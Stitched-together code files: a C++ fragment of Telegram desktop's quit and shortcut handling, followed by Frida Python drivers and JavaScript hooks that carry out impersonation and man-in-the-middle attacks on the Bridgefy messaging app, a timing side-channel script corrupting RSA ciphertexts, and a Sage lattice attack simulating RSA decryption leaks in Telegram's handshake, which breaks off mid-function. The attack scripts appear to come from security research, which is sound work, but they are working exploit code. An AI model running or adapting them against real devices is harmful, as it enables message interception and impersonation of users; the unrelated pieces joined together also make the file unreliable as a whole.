        for (const auto &[index, account] : _domain->accounts()) {

            if (const auto session = account->maybeSession()) {

                if (session->updates().isQuitPrevent()) {

                    prevented = true;

                }

                if (session->api().isQuitPrevent()) {

                    prevented = true;

                }

            }

        }

    }

    if (prevented) {

        quitDelayed();

        return false;

    }

    return true;

}



void Application::quitPreventFinished() {

    if (App::quitting()) {

        QuitAttempt();

    }

}



void Application::quitDelayed() {

    if (!_private->quitTimer.isActive()) {

        _private->quitTimer.setCallback([] { QApplication::quit(); });

        _private->quitTimer.callOnce(kQuitPreventTimeoutMs);

    }

}



void Application::startShortcuts() {

    Shortcuts::Start();



    _domain->activeSessionChanges(

    ) | rpl::start_with_next([=](Main::Session *session) {

        const auto support = session && session->supportMode();

        Shortcuts::ToggleSupportShortcuts(support);

        Platform::SetApplicationIcon(Window::CreateIcon(session));

    }, _lifetime);



    Shortcuts::Requests(

    ) | rpl::start_with_next([=](not_null<Shortcuts::Request*> request) {

        using Command = Shortcuts::Command;

        request->check(Command::Quit) && request->handle([] {

            App::quit();

            return true;

        });

        request->check(Command::Lock) && request->handle([=] {

            if (!passcodeLocked() && Global::LocalPasscode()) {

                lockByPasscode();

                return true;

            }

            return false;

        });

        request->check(Command::Minimize) && request->handle([=] {

            return minimizeActiveWindow();

        });

        request->check(Command::Close) && request->handle([=] {

            return closeActiveWindow();

        });

    }, _lifetime);

}



bool IsAppLaunched() {

    return (Application::Instance != nullptr);

}



Application &App() {

    Expects(Application::Instance != nullptr);



    return *Application::Instance;

}



} // namespace Core



#!/usr/bin/python3
# to be run with auth_*.js scripts: auth_first for authentication attack, auth_second for mitm attack

import frida, sys, argparse

# PARAMETERS (adapt before use)
ROOT_DEVICE = 'XL'  # name for rooted phone with frida installed
ROOT_DEVICE_ID = '123456789'   # replace with adb id
GADGET_DEVICE = '3a' # name for non-rooted phone with repackaged app containing frida-gadget
DEVICES = [ROOT_DEVICE, GADGET_DEVICE]

# send messages back from the script
def on_message(message, data):
    if message['type'] == 'send':
        print(message['payload'])
    else:
        print(message)

# command line arguments
        
parser = argparse.ArgumentParser(description='Run the given script on Bridgefy on a given device with Frida.')
parser.add_argument('device', choices=DEVICES, action='store', help='Device to use.') 
parser.add_argument('FILE', action='store', help='Javascript file to use.')
args = parser.parse_args()

if args.device == ROOT_DEVICE:
    device_id = ROOT_DEVICE_ID
    package_name = 'me.bridgefy.main'
elif args.device == GADGET_DEVICE:
    device_id = 'tcp'
    package_name = 'Gadget'

# set up Frida

device = frida.get_device_manager().get_device(device_id)
process = device.attach(package_name)

with open(args.FILE) as f:
    script = process.create_script(f.read())

script.on('message', on_message)
script.load()
sys.stdin.read()



// setup: find ids, keys, and enable mesh forwarding

// package and class paths

const PATH_BRIDGEFY = 'com.bridgefy.sdk.client.Bridgefy';
const PATH_MESSAGE = 'com.bridgefy.sdk.client.Message';
const PATH_CHUNK_UTILS = 'com.bridgefy.sdk.framework.controller.q';
const PATH_CRYPTO_RSA = 'com.bridgefy.sdk.client.CryptoRSA';
const PATH_BLE_ENTITY = 'com.bridgefy.sdk.framework.entities.BleEntity';

// app interaction

if (Java.available) {
    Java.perform(function() {
		
		/* get new ids */
		
		var Bridgefy = Java.use(PATH_BRIDGEFY);
		var thisUserId = Bridgefy.getInstance().getBridgefyClient().getUserUuid();
		var thisPK = Bridgefy.getInstance().getBridgefyClient().getPublicKey();
		send("uid: "+thisUserId);
		send("pk: "+thisPK);

		/* change profile to enable mesh forwarding */

		var BFEngineProfile = Java.use('com.bridgefy.sdk.client.BFEngineProfile');
		var defaultProfile = BFEngineProfile.values()[0];  // enum class

		var Config = Java.use('com.bridgefy.sdk.client.Config');
		var getProfile = Config.getEngineProfile;
		getProfile.implementation = function() {
			var profile = getProfile.call(this);
			send("getProfile: "+defaultProfile.toString());
			return defaultProfile;
		};

		var BridgefyCore = Java.use('com.bridgefy.sdk.framework.controller.BridgefyCore');
		var sendMes = BridgefyCore.sendMessage;
		sendMes.implementation = function(message, userId, profile) {
			sendMes.call(this, message, userId, defaultProfile);
		};

	});
}



// first authentication attack
// impersonate any sender, here LG=Ivan to XL=Ursula; run on 3a=attacker

// package and class paths
const PATH_BRIDGEFY = 'com.bridgefy.sdk.client.Bridgefy';
const PATH_MESSAGE = 'com.bridgefy.sdk.client.Message';
const PATH_CHUNK_UTILS = 'com.bridgefy.sdk.framework.controller.q';
const PATH_CRYPTO_RSA = 'com.bridgefy.sdk.client.CryptoRSA';
const PATH_BLE_ENTITY = 'com.bridgefy.sdk.framework.entities.BleEntity';

// Bridgefy functions

function getUuid(instance) {
	console.log("  uuid: "+instance.getUserUuid());
}

// app interaction

if (Java.available) {
    Java.perform(function() {

		// imports

		var JavaInt = Java.use('java.lang.Integer');
		var Bridgefy = Java.use(PATH_BRIDGEFY);
		var BridgefyClient = Java.use('com.bridgefy.sdk.client.BridgefyClient');
		var Session = Java.use('com.bridgefy.sdk.framework.controller.Session');
		var ChunkUtils = Java.use('com.bridgefy.sdk.framework.controller.q');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');
		var BleEntity = Java.use('com.bridgefy.sdk.framework.entities.BleEntity');
		var BleHandshake = Java.use('com.bridgefy.sdk.framework.entities.BleHandshake');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');

		// PARAMETERS (adapt before use)
		
		var lg = "";  // user uuid of attacker client
		var lgPk = "";  // public key of attacker client
		var lgCrc = Utils.getCrcFromKey(lgPk);
		
		/* inject user id */
		
		var getid = BridgefyClient.getUserUuid;
		getid.implementation = function() {
			return lg;
		};

		/* modify legitimate handshake */

		var first = true;

		// reinterpret received handshake messages
		var processHandshake = Session.a.overload('com.bridgefy.sdk.framework.entities.BleHandshake'); 
		processHandshake.implementation = function(bleHandshake) {
			send("Session.processHandshake");

			var rq = bleHandshake.getRq();
			var rp = bleHandshake.getRp();
			send("    rq: "+rq);
			send("    rp: "+rp);

			// only interpret the first received message differently
			if (first) {
				bleHandshake.setRq(JavaInt.$new(1));  // rq=1 request for keys
				first = false;
			}  
			
			var output = processHandshake.call(this, bleHandshake);			
			send("    output: "+output.toString());
			return output;
		}

		// modify handshake messages that are sent out in response
		var generateHandshakeFor = BleEntity.generateHandShake.overload('com.bridgefy.sdk.framework.entities.BleHandshake');  // only a wrapper for a handshake
		generateHandshakeFor.implementation = function(bleHandshake) {
			send("BleEntity.generateHandshake(bleHandshake)");

			var rp = bleHandshake.getRp();
			rp.setUuid(lg);
			rp.setCrckey(lgCrc);
			if (rp.getType() == 1) {
				rp.setKey(lgPk);
			}
			bleHandshake.setRp(rp); 
			
			var output = generateHandshakeFor.call(this, bleHandshake);	
			send("    output: "+output.toString());
			return output;
		}

		/* monitor all packets */
		
		var stitch = ChunkUtils.a.overload('java.util.ArrayList', 'boolean', 'boolean');
		stitch.implementation = function(binaryData, isMessagePack, isEncryption) {
			send("ChunkUtils.stitchChunksToEntity");
			var output = stitch.call(this, binaryData, isMessagePack, isEncryption);
			send("    et: "+output.getEt());
			send("    ct: "+output.getCt());
			return output;
		};

		var genChunk = ChunkUtils.a.overload('com.bridgefy.sdk.framework.entities.BleEntity', 'int', 'boolean', 'boolean', 'java.lang.String');
		genChunk.implementation = function(bleEntity, length, isMessagePack, isEncryption, userId) {
			send("ChunkUtils.generateCompressedChunk");
			send("    et: "+bleEntity.getEt());
			send("    ct: "+bleEntity.getCt());
			var output = genChunk.call(this, bleEntity, length, isMessagePack, isEncryption, userId);
			return output;
		}
    });
}



// second authentication attack
// read messages meant for any receiver, here from XL=Ursula to LG=Ivan
// run on 3a=attacker

// package and class paths

const PATH_BRIDGEFY = 'com.bridgefy.sdk.client.Bridgefy';
const PATH_MESSAGE = 'com.bridgefy.sdk.client.Message';
const PATH_CHUNK_UTILS = 'com.bridgefy.sdk.framework.controller.q';
const PATH_CRYPTO_RSA = 'com.bridgefy.sdk.client.CryptoRSA';
const PATH_BLE_ENTITY = 'com.bridgefy.sdk.framework.entities.BleEntity';

// Bridgefy functions

function getUuid(instance) {
	
	console.log("  uuid: "+instance.getUserUuid());
}

// app interaction

if (Java.available) {
    Java.perform(function() {

		// imports

		var JavaInt = Java.use('java.lang.Integer');
		var Bridgefy = Java.use(PATH_BRIDGEFY);
		var BridgefyClient = Java.use('com.bridgefy.sdk.client.BridgefyClient');
		var Session = Java.use('com.bridgefy.sdk.framework.controller.Session');
		var ChunkUtils = Java.use('com.bridgefy.sdk.framework.controller.q');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');
		var BleEntity = Java.use('com.bridgefy.sdk.framework.entities.BleEntity');
		
		var BleHandshake = Java.use('com.bridgefy.sdk.framework.entities.BleHandshake');
		var ResponseJson = Java.use('com.bridgefy.sdk.framework.entities.ResponseJson');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');

		// PARAMETERS (adapt before use)

		var lg = "";  // user uuid of attacker client

		/* inject user id */
		
		var getid = BridgefyClient.getUserUuid;
		getid.implementation = function() {
			return lg;
		};

		/* replacing of uuids in all handshake messages */

		var processHandshake = Session.a.overload('com.bridgefy.sdk.framework.entities.BleHandshake'); 
		processHandshake.implementation = function(bleHandshake) {
			send("Session.processHandshake");

			var rq = bleHandshake.getRq();
			var rp = bleHandshake.getRp();
			send("    rq: "+rq);
			send("    rp: "+rp);

			var output = processHandshake.call(this, bleHandshake);

			var outrp = output.getRp();
			if (outrp != null) {
				outrp.setUuid(lg);
				output.setRp(outrp);
			}
			
			send("    output: "+output.toString());
			return output;
		}

		/* monitor all packets */
		
		var stitch = ChunkUtils.a.overload('java.util.ArrayList', 'boolean', 'boolean');
		stitch.implementation = function(binaryData, isMessagePack, isEncryption) {
			send("ChunkUtils.stitchChunksToEntity");
			var output = stitch.call(this, binaryData, isMessagePack, isEncryption);
			send("    et: "+output.getEt());
			send("    ct: "+output.getCt());
			return output;
		};

		var genChunk = ChunkUtils.a.overload('com.bridgefy.sdk.framework.entities.BleEntity', 'int', 'boolean', 'boolean', 'java.lang.String');
		genChunk.implementation = function(bleEntity, length, isMessagePack, isEncryption, userId) {
			send("ChunkUtils.generateCompressedChunk");
			send("    et: "+bleEntity.getEt());
			send("    ct: "+bleEntity.getCt());
			var output = genChunk.call(this, bleEntity, length, isMessagePack, isEncryption, userId);
			return output;
		}


    });
}



// second authentication attack with 2 devices

// package and class paths

const PATH_BRIDGEFY = 'com.bridgefy.sdk.client.Bridgefy';
const PATH_MESSAGE = 'com.bridgefy.sdk.client.Message';
const PATH_CHUNK_UTILS = 'com.bridgefy.sdk.framework.controller.q';
const PATH_CRYPTO_RSA = 'com.bridgefy.sdk.client.CryptoRSA';
const PATH_BLE_ENTITY = 'com.bridgefy.sdk.framework.entities.BleEntity';

// Bridgefy functions

function getUuid(instance) {
	
	console.log("  uuid: "+instance.getUserUuid());
}

// app interaction

if (Java.available) {
    Java.perform(function() {

		// imports

		var JavaInt = Java.use('java.lang.Integer');
		var Bridgefy = Java.use(PATH_BRIDGEFY);
		var BridgefyClient = Java.use('com.bridgefy.sdk.client.BridgefyClient');
		var Session = Java.use('com.bridgefy.sdk.framework.controller.Session');
		var ChunkUtils = Java.use('com.bridgefy.sdk.framework.controller.q');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');
		var BleEntity = Java.use('com.bridgefy.sdk.framework.entities.BleEntity');
		
		var BleHandshake = Java.use('com.bridgefy.sdk.framework.entities.BleHandshake');
		var ResponseJson = Java.use('com.bridgefy.sdk.framework.entities.ResponseJson');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');

		// PARAMETERS (adapt before use)

		var lg = "";  // user uuid of attacker client
		
		/* inject user id */
		
		var getid = BridgefyClient.getUserUuid;
		getid.implementation = function() {
			return lg;
		};

		/* replacing of uuids in all handshake messages */

		var processHandshake = Session.a.overload('com.bridgefy.sdk.framework.entities.BleHandshake'); 
		processHandshake.implementation = function(bleHandshake) {
			send("Session.processHandshake");

			var rq = bleHandshake.getRq();
			var rp = bleHandshake.getRp();
			send("    rq: "+rq);
			send("    rp: "+rp);

			if (rp.getLcv() == "1.0.7") {
				return BleHandshake.$new(null, null);
			}

			var output = processHandshake.call(this, bleHandshake);

			var outrp = output.getRp();
			if (outrp != null) {
				outrp.setUuid(lg);
				outrp.setLcv("1.0.8");
				output.setRp(outrp);
			}
			
			send("    output: "+output.toString());
			return output;
		}

		/* monitor all packets */
		
		var stitch = ChunkUtils.a.overload('java.util.ArrayList', 'boolean', 'boolean');
		stitch.implementation = function(binaryData, isMessagePack, isEncryption) {
			send("ChunkUtils.stitchChunksToEntity");
			var output = stitch.call(this, binaryData, isMessagePack, isEncryption);
			send("    et: "+output.getEt());
			send("    ct: "+output.getCt());
			return output;
		};

		var genChunk = ChunkUtils.a.overload('com.bridgefy.sdk.framework.entities.BleEntity', 'int', 'boolean', 'boolean', 'java.lang.String');
		genChunk.implementation = function(bleEntity, length, isMessagePack, isEncryption, userId) {
			send("ChunkUtils.generateCompressedChunk");
			send("    et: "+bleEntity.getEt());
			send("    ct: "+bleEntity.getCt());
			var output = genChunk.call(this, bleEntity, length, isMessagePack, isEncryption, userId);
			return output;
		}


    });
}



// second authentication attack with 2 devices

// package and class paths

const PATH_BRIDGEFY = 'com.bridgefy.sdk.client.Bridgefy';
const PATH_MESSAGE = 'com.bridgefy.sdk.client.Message';
const PATH_CHUNK_UTILS = 'com.bridgefy.sdk.framework.controller.q';
const PATH_CRYPTO_RSA = 'com.bridgefy.sdk.client.CryptoRSA';
const PATH_BLE_ENTITY = 'com.bridgefy.sdk.framework.entities.BleEntity';

// Bridgefy functions

function getUuid(instance) {
	
	console.log("  uuid: "+instance.getUserUuid());
}

// app interaction

if (Java.available) {
    Java.perform(function() {

		// imports

		var JavaInt = Java.use('java.lang.Integer');
		var Bridgefy = Java.use(PATH_BRIDGEFY);
		var BridgefyClient = Java.use('com.bridgefy.sdk.client.BridgefyClient');
		var Session = Java.use('com.bridgefy.sdk.framework.controller.Session');
		var ChunkUtils = Java.use('com.bridgefy.sdk.framework.controller.q');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');
		var BleEntity = Java.use('com.bridgefy.sdk.framework.entities.BleEntity');
		
		var BleHandshake = Java.use('com.bridgefy.sdk.framework.entities.BleHandshake');
		var ResponseJson = Java.use('com.bridgefy.sdk.framework.entities.ResponseJson');
		var Utils = Java.use('com.bridgefy.sdk.framework.utils.Utils');

		// PARAMETERS (adapt before use)

		var samsung = "";  // user uuid of attacker client

		/* inject user id */
		
		var getid = BridgefyClient.getUserUuid;
		getid.implementation = function() {
			return samsung;
		};

		/* replacing of uuids in all handshake messages */

		var processHandshake = Session.a.overload('com.bridgefy.sdk.framework.entities.BleHandshake'); 
		processHandshake.implementation = function(bleHandshake) {
			send("Session.processHandshake");

			var rq = bleHandshake.getRq();
			var rp = bleHandshake.getRp();
			send("    rq: "+rq);
			send("    rp: "+rp);

			if (rp.getLcv() == "1.0.8") {
				return BleHandshake.$new(null, null);
			}

			var output = processHandshake.call(this, bleHandshake);

			var outrp = output.getRp();
			if (outrp != null) {
				outrp.setUuid(samsung);
				outrp.setLcv("1.0.7");
				output.setRp(outrp);
			}
			
			send("    output: "+output.toString());
			return output;
		}

		/* monitor all packets */
		
		var stitch = ChunkUtils.a.overload('java.util.ArrayList', 'boolean', 'boolean');
		stitch.implementation = function(binaryData, isMessagePack, isEncryption) {
			send("ChunkUtils.stitchChunksToEntity");
			var output = stitch.call(this, binaryData, isMessagePack, isEncryption);
			send("    et: "+output.getEt());
			send("    ct: "+output.getCt());
			return output;
		};

		var genChunk = ChunkUtils.a.overload('com.bridgefy.sdk.framework.entities.BleEntity', 'int', 'boolean', 'boolean', 'java.lang.String');
		genChunk.implementation = function(bleEntity, length, isMessagePack, isEncryption, userId) {
			send("ChunkUtils.generateCompressedChunk");
			send("    et: "+bleEntity.getEt());
			send("    ct: "+bleEntity.getCt());
			var output = genChunk.call(this, bleEntity, length, isMessagePack, isEncryption, userId);
			return output;
		}


    });
}



#!/usr/bin/python3
# for experiment with two devices

import frida, sys, argparse

# PARAMETERS (adapt before use)
ROOT_DEVICE = 'XL'  # name for rooted phone with frida installed
ROOT_DEVICE_ID = '123456789'   # replace with adb id
GADGET_DEVICE = '3a' # name for non-rooted phone with repackaged app containing frida-gadget
DEVICES = [ROOT_DEVICE, GADGET_DEVICE]

# send messages back from the script
def on_message(message, data):
    if message['type'] == 'send':
        print(message['payload'])
    else:
        print(message)

def run_script(script, msgtype, device, flip, delay):
    script.on('message', on_message)
    script.load()
    script.post({"type": "params", "msgtype": msgtype, "double": True, "flip": flip, "device": device, "delay": delay})

# command line arguments
        
parser = argparse.ArgumentParser(description='Run the experiment on Bridgefy on both devices with Frida.')
parser.add_argument('first', choices=DEVICES, action='store', help='First device to activate.')
parser.add_argument('msgtype3a', type=int, action='store', help='Message type to send from 3a device.')
parser.add_argument('msgtypeXL', type=int, action='store', help='Message type to send from XL device.')
parser.add_argument('--flip', default=False, const=True, action='store_const', help='Flip bits or send random data.')
parser.add_argument('--delay', type=int, default=5000, action='store', help='Delay between messages in milliseconds.')
args = parser.parse_args()

# set up Frida

pxl = frida.get_device_manager().get_device(ROOT_DEVICE_ID)
pxl_process = pxl.attach('me.bridgefy.main')

p3a = frida.get_device_manager().get_device('tcp')
p3a_process = p3a.attach('Gadget')

with open("experiment.js") as f:
    pxl_script = pxl_process.create_script(f.read())

with open("experiment.js") as f:
    p3a_script = p3a_process.create_script(f.read())

if args.first == GADGET_DEVICE:
    run_script(p3a_script, args.msgtype3a, GADGET_DEVICE, args.flip, args.delay)
    run_script(pxl_script, args.msgtypeXL, ROOT_DEVICE, args.flip, args.delay)
else:
    run_script(pxl_script, args.msgtypeXL, ROOT_DEVICE, args.flip, args.delay)
    run_script(p3a_script, args.msgtype3a, GADGET_DEVICE, args.flip, args.delay)


sys.stdin.read()



// timing side channel experiment script

// package and class paths

const PATH_BRIDGEFY = 'com.bridgefy.sdk.client.Bridgefy';
const PATH_MESSAGE = 'com.bridgefy.sdk.client.Message';

// experiment parameters

var MSGTYPE;  // 0 - good messages, 1 - bad encryption, 2 - bad gzip
var DOUBLE;  // whether it is run on one device or two
var DELAY;  // delay between sending messages in ms
var FLIP;  // are we bitflipping or sending completely random data?
var DEVICE;  // which device we are running this instance on

recv('params', function onMessage(post) {
	MSGTYPE = post.msgtype;
	DOUBLE = post.double;
	FLIP = post.flip;
	DEVICE = post.device;
	DELAY = post.delay;
});

// in the single experiment, alternate between a good and a bad message
var alt = 0;

// a silly way to determine the last packet of a message
var packetCounter = 0;
var timeSent = 0;

// generic functions

/** change the implementation of a given method */
function reimplement(name, method, newMethod) {
	
	method.implementation = function () {
		var args = Array.prototype.slice.call(arguments);
		
		var result = method.apply(this, arguments);
		if (result !== null) {
			
			args.splice(0, 0, result);
			var output = newMethod.apply(this, args);
			return output;
		}
	};
}

/** change the arguments of a given method */
function modifyInput(name, method, inputMethod) {

	method.implementation = function () {
		var args = Array.prototype.slice.call(arguments);

		var newArgs = inputMethod.apply(null, args);
		
		var output = method.apply(this, newArgs);
		if (output !== null) {
			return output;
		}
	};
	
}

// timing experiment

/** form an incorrect ciphertext either by flipping a bit 
or replacing it with random bytes */
function encryptWrong(result, publicKey, plaintext) {

	if (DOUBLE || alt) {
		var JavaRandom = Java.use('java.util.Random');
		var Random = JavaRandom.$new();

		if (FLIP) {
			var mask = 1 << Random.nextInt(8);
			result[Random.nextInt(256)] ^= mask;
		}
		else {
			Random.nextBytes(result);
		}

		alt = !alt;
	}
	
	return result;
}

/** form an incorrectly compressed payload before it's encrypted */
function encryptWrongInput(publicKey, compressed) {

	if (DOUBLE || alt) {
		var JavaRandom = Java.use('java.util.Random');
		var Random = JavaRandom.$new();

		if (FLIP === true) {
			var mask = 1 << Random.nextInt(8);
			compressed[Random.nextInt(compressed.length)] ^= mask;
		}
		else {
			Random.nextBytes(compressed);
		}

		alt = !alt;
	}
	
	var newArgs = [publicKey, compressed];
	return newArgs;
}

/** find an instance of Bridgefy and use it to send a message */
function loop() {
	Java.perform(function() {
		var className = PATH_BRIDGEFY;
		Java.choose(className, {
			onMatch : function(instance) {

				var JavaString = Java.use('java.lang.String');
				var JavaFloat = Java.use('java.lang.Float');
				var JavaLong = Java.use('java.lang.Long');
				var HashMap = Java.use('java.util.HashMap');
				
				var Message = Java.use(PATH_MESSAGE);

				// create a message
				var content = HashMap.$new();
				// note: replace with real user uuids
				var lg = "";
				var pixelxl = "";
				var pixel3a = "";
				var name = "Pixel "+DEVICE;
				var text = "hi?";
				if (DEVICE === "3a") {
					var sender = pixel3a;
				}
				else {
					var sender = pixelxl;
				}
				var message = Message.$new(content, pixelxl, sender);  // receiverId, senderId
				content.put("ct", JavaString.$new(text));
				content.put("mt", JavaFloat.$new(0));
				content.put("ku", JavaFloat.$new(0));
				content.put("mi", message.getUuid());
				content.put("nm", JavaString.$new(name));
				content.put("ds", JavaLong.$new(message.getDateSent()));
				content.put("et", JavaFloat.$new(1));
				message.setContent(content);

				// time here is for orientation, not measurement

				if (DOUBLE) {
					instance.sendMessage(message);
					send(DEVICE+" "+MSGTYPE+" "+Date.now());
				}
				else {
					instance.sendMessage(message);
					var first = Date.now();
					instance.sendMessage(message);
					var second = Date.now();
					send(DEVICE+" "+MSGTYPE+" "+first);
					send(DEVICE+" "+alt+" "+second);
				}
			},
			onComplete : function() {
			}
		});
});
}

/** time the differences between last packet sent and first packet received */
function getDiffs() {

	var JavaSystem = Java.use('java.lang.System');
	var GattServerCallback = Java.use('com.bridgefy.sdk.framework.controller.p');
		
	var rcv = GattServerCallback.onCharacteristicWriteRequest;
	rcv.implementation = function() {
		var value = arguments[6];
		if (value[0] !== 1) {
			rcv.apply(this, arguments);
		}
		else {
			var timeRcvd = JavaSystem.nanoTime() / 1000000;			
			rcv.apply(this, arguments);
				
			send(DEVICE+" diff "+(timeRcvd - timeSent));
		}
	}
	
	var snt = GattServerCallback.onCharacteristicReadRequest;
	snt.implementation = function() {
		packetCounter = (packetCounter + 1) % 3;
		if (packetCounter === 0) {							
			snt.apply(this, arguments);
			timeSent = JavaSystem.nanoTime() / 1000000;
		}
		else {
			snt.apply(this, arguments);
		}
	}
}

// give python a chance to deliver parameters before starting execution

setTimeout(function() {

	if (Java.available) {
		Java.perform(function() {

			// measure time differences from read receipts
			// only in a single experiment or if good messages are being sent
			
			if (DOUBLE === false || MSGTYPE === 0) {
				getDiffs();
			}

			// modify functions for experiment

			var CryptoRSA = Java.use('com.bridgefy.sdk.client.CryptoRSA');		

			if (MSGTYPE === 1) {
				reimplement("CryptoRSA.encrypt", CryptoRSA.encrypt, encryptWrong);
			}
			else if (MSGTYPE === 2) {
				modifyInput("CryptoRSA.encrypt", CryptoRSA.encrypt, encryptWrongInput);
			}

		});

		// send messages in a continuous loop

		setInterval(loop, DELAY);
	}

}, 1000);



#!/usr/bin/env sage
"""
"""
from sage.all import ZZ, matrix, set_random_seed, log, pi, e, sqrt, RR, ceil
from fpylll import IntegerMatrix, BKZ, FPLLL
from fpylll.algorithms.bkz2 import BKZReduction as BKZ2

"""
Configuration
"""

header_len = 32  # 0xec5ac983
N_len = 16 * 8 + 8  # length field
p_len = 8 * 8 + 8  # length field
q_len = 8 * 8 + 8  # length field
nonce_len = 128
server_nonce_len = 128
new_nonce_len = 256
sha1_len = 20 * 8
total_len = 255 * 8
pad_len = total_len - (
    sha1_len + header_len + N_len + p_len + q_len + nonce_len + server_nonce_len + new_nonce_len
)
leak_bits = 32
leak_pos = total_len - sha1_len - leak_bits

# https://github.com/DrKLO/Telegram/blob/f41b228a111e304c2505a86c7cc8b448eaecaf6f/TMessagesProj/jni/tgnet/Handshake.cpp#L398
# import rsa  ## pip install rsa
# for pubkey in pubkeys:
#    N = ZZ(rsa.PublicKey.load_pkcs1(pubkey).n)
#    print(hex(N))

N_ = ZZ(
    "0xaeec36c8ffc109cb099624685b9781"
    "5415657bd76d8c9c3e398103d7ad16c9"
    "bba6f525ed0412d7ae2c2de2b44e77d7"
    "2cbf4b7438709a4e646a05c43427c7f1"
    "84debf72947519680e651500890c6832"
    "796dd11f772c25ff8f576755afe055b0"
    "a3752c696eb7d8da0d8be1faf38c9bdd"
    "97ce0a77d3916230c4032167100edd0f"
    "9e7a3a9b602d04367b689536af0d64b6"
    "13ccba7962939d3b57682beb6dae5b60"
    "8130b2e52aca78ba023cf6ce806b1dc4"
    "9c72cf928a7199d22e3d7ac84e47bc94"
    "27d0236945d10dbd15177bab413fbf0e"
    "dfda09f014c7a7da088dde9759702ca7"
    "60af2b8e4e97cc055c617bd74c3d9700"
    "8635b98dc4d621b4891da9fb04730479"
    "27"
)

N_ = ZZ(
    "0xbdf2c77d81f6afd47bd30f29ac76e5"
    "5adfe70e487e5e48297e5a9055c9c07d"
    "2b93b4ed3994d3eca5098bf18d978d54"
    "f8b7c713eb10247607e69af9ef44f38e"
    "28f8b439f257a11572945cc0406fe3f3"
    "7bb92b79112db69eedf2dc71584a6616"
    "38ea5becb9e23585074b80d57d9f5710"
    "dd30d2da940e0ada2f1b878397dc1a72"
    "b5ce2531b6f7dd158e09c828d03450ca"
    "0ff8a174deacebcaa22dde84ef66ad37"
    "0f259d18af806638012da0ca4a70baa8"
    "3d9c158f3552bc9158e69bf332a45809"
    "e1c36905a5caa12348dd57941a482131"
    "be7b2355a5f4635374f3bd3ddf5ff925"
    "bf4809ee27c1e67d9120c5fe08a9de45"
    "8b1b4a3c5d0a428437f2beca81f4e2d5"
    "ff"
)

N_ = ZZ(
    "0xb3f762b739be98f343eb1921cf0148"
    "cfa27ff7af02b6471213fed9daa00989"
    "76e667750324f1abcea4c31e43b7d11f"
    "1579133f2b3d9fe27474e462058884e5"
    "e1b123be9cbbc6a443b2925c08520e73"
    "25e6f1a6d50e117eb61ea49d2534c8bb"
    "4d2ae4153fabe832b9edf4c5755fdd8b"
    "19940b81d1d96cf433d19e6a22968a85"
    "dc80f0312f596bd2530c1cfb28b5fe01"
    "9ac9bc25cd9c2a5d8a0f3a1c0c79bcca"
    "524d315b5e21b5c26b46babe3d75d06d"
    "1cd33329ec782a0f22891ed1db42a1d6"
    "c0dea431428bc4d7aabdcf3e0eb6fda4"
    "e23eb7733e7727e9a1915580796c5518"
    "8d2596d2665ad1182ba7abf15aaa5a8b"
    "779ea996317a20ae044b820bff35b6e8"
    "a1"
)

N_ = ZZ(
    "0xbe6a71558ee577ff03023cfa17aab4e"
    "6c86383cff8a7ad38edb9fafe6f323f2"
    "d5106cbc8cafb83b869cffd1ccf121cd"
    "743d509e589e68765c96601e813dc5b9"
    "dfc4be415c7a6526132d0035ca33d6d6"
    "075d4f535122a1cdfe017041f1088d14"
    "19f65c8e5490ee613e16dbf662698c0f"
    "54870f0475fa893fc41eb55b08ff1ac2"
    "11bc045ded31be27d12c96d8d3cfc6a7"
    "ae8aa50bf2ee0f30ed507cc2581e3dec"
    "56de94f5dc0a7abee0be990b893f2887"
    "bd2c6310a1e0a9e3e38bd34fded25415"
    "08dc102a9c9b4c95effd9dd2dfe96c29"
    "be647d6c69d66ca500843cfaed6e4401"
    "96f1dbe0e2e22163c61ca48c79116fa7"
    "7216726749a976a1c4b0944b5121e8c0"
    "1"
)


def sample_c(stage=1):
    """
    Sample a fresh challenge ciphertext and return private and public part.
    """
    header = 0xEC5AC983
    N = ZZ.random_element(2 ** N_len)
    p = ZZ.random_element(2 ** p_len)
    q = ZZ.random_element(2 ** q_len)
    nonce = ZZ.random_element(2 ** nonce_len)
    server_nonce = ZZ.random_element(2 ** server_nonce_len)
    new_nonce = ZZ.random_element(2 ** new_nonce_len)
    pad = ZZ.random_element(2 ** pad_len)
    sha1 = ZZ.random_element(2 ** sha1_len)

    x = new_nonce * 2 ** pad_len + pad
    x_len = new_nonce_len + pad_len
    y = sha1
    y_len = sha1_len

    gamma, gamma_len = 0, 0
    for v, s in (
        (server_nonce, server_nonce_len),
        (nonce, nonce_len),
        (q, q_len),
        (p, p_len),
        (N, N_len),
        (header, header_len),
    ):
        gamma += v * 2 ** gamma_len
        gamma_len += s

    if stage == 2:
        gamma += 2 ** (total_len - y_len - x_len) * y
        y = 0

    c = 2 ** (total_len - y_len) * y + 2 ** x_len * gamma + x

    return c, gamma


def leak(c, s_len):
    """
    Simulate RSA decryption leak
    """
    s = ZZ.random_element(2 ** s_len)
    d = s * c % N_
    d = (d // 2 ** leak_pos) % 2 ** leak_bits
    return s, d


def instancef(s_len, nleaks=(160 // leak_bits) + 1, stage=1):
    c, gamma = sample_c(stage=stage)
    leaks = []

    for _ in range(nleaks):
        s, d = leak(c, s_len=s_len)
        leaks.append((s, d))

    return c, (gamma, tuple(leaks))


def latticef(gamma, leaks, stage=1):
    m = len(leaks)
    d = 2 * m + 2
    A = matrix(ZZ, d, d)
    if stage == 1:
        A[0, 0] = 2 ** (leak_pos - sha1_len)
    else:
        A[0, 0] = 2 ** (leak_pos - new_nonce_len)
    A[-1, -1] = 2 ** (leak_pos - 2)
    for i, (si, li) in enumerate(leaks):
        if stage == 1:
            A[0, m + i + 1] = (si * 2 ** (total_len - sha1_len)) % N_  # noqa: E201
        else:
            A[0, m + i + 1] = (si * 2 ** pad_len) % N_  # noqa: E201
        A[i + 1, i + 1] = 2 ** (2 * leak_pos + leak_bits - ceil(log(N_, 2)))  # noqa: E201
        A[i + 1, m + i + 1] = 2 ** (leak_pos + leak_bits)  # noqa: E201
        A[m + i + 1, m + i + 1] = N_
        A[-1, m + i + 1] = (
            si * 2 ** (new_nonce_len + pad_len) * gamma % N_  # noqa: E201
            - 2 ** leak_pos * li
            - 2 ** (leak_pos - 1)
        ) % N_  # balance mod 2**leak_pos

    return A


def cut(A, log_factor):
